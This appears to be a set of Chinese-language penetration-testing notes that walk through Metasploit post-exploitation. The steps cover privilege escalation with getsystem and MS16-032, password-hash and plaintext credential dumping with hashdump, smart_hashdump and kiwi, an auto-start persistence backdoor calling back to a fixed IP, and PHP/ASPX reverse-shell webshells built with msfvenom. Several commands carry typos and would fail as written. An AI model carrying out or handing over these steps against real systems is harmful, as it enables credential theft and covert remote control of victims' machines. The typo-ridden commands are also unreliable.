提权
通过本地溢出漏洞提权
1、先通过getsystem命令提权，结果失败
meterpreter > getsystem
[-] 2001: Operation failed: This function is not supported on this system. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
2、利用WMIC命令列出已安装的补丁（这些输出的结果不能直接被利用的，使用的方式是去找提权的EXP，使用没有下列编号的EXP进行提权）
C:\Users\baji\Desktop>Wmic qfe get Caption,Description,HotFixID,InstalledOn
Wmic qfe get Caption,Description,HotFixID,InstalledOn
Caption Description HotFixID InstalledOn

http://support.microsoft.com/?kbid=976902 Update KB976902 11/21/2010
3、首先把meterpreter转为后台执行，然后搜索提权的EXP漏洞，这里用MS16_032举例
seach ms16_032
use 1 #1：可用模块id
set session 1 #指定服务id
run
getuid #查看当前权限

Hash攻击
hashdump
使用hashdump抓取密码，hashdump meterpreter脚本可以从目标机提取hash值，破解hash值就可获得登录密码

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > hashdump #hashdump命令的执行必须要system权限，并且目标机没有开启UAC

面对上面的问题这里我们使用另一个更加强大的模块smart_hashdump，不仅可以导出所有用户的hash，而且可以绕过UAC

kiwi
使用kiwi抓取密码-------旧版本的mimikatz已被该模块取代，该模块更加强大
kiwi模块同时支持32位和64位的系统，但是该模块默认是加载32位的系统，所以如果目标主机是64位系统的话，直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的，则必须先查看系统进程列表，然后将meterpreter进程迁移到一个64位程序的进程中，才能加载kiwi并且查看系统明文。如果目标系统是32位的，则没有这个限制。
meterpreter > getpid #我的目标机是64位，所有先迁移一下进程

meterpreter > migrate 2528

后门
persistence后门
persistence是一款使用安装自启动方式的持久性后门程序，可以利用它创建注册和文件。启动时会触发杀毒软件，建议运行时关闭杀毒软件
run persistence -A -S -u -i 60 -P 4321 -r 192.168.160.132
A #自动启动payload程序
S #系统启动时自动加载
U #用户登录时自动启动
X #机时自动挂载
i #连时的时间间隔
P #听反向连接端口号
r #标机器IP地址
sessions #查看已经成功获取的会话
web后门
meterpreter后门
metasploit中，有一个名为PHP Meterpreter的payload,利用该模块可以创建具有meterpreter功能PHP Webshell
使用msfvrenom工具制作webshell.php
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.160.129 -f raw > /1.php
-p用于参与payload -f用于设置输出文件格式
将1.php上传到目标服务器，这里直接复制到/var/www/html目录下
接着启动msfconsole,使用以下命令设置监听
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.160.129
run
目标机访问http://127.0.0.1/1.php，反弹成功
aspx meterpreter后门
metasploit下名为shell_reverse_tcp的payload，利用这个模块可创建具有meterpreter功能的各版本webshell
show payloads
use windows/shell_reverse_tcp
info
set lhost 192.168.160.129
set lport 4444
sava
generate -t asp //生成asp版的shellcode
generate -t aspx //生成aspx版的shellcode
先把内容保存为aspx.aspx,再上传到目标服务器，然后启动msfconsole
use expoloit/mulit/handler
set payload windows/meterpreter/reversr_tcp
set Lhost 192.168.160.120
set lport 4444
run
反弹成功
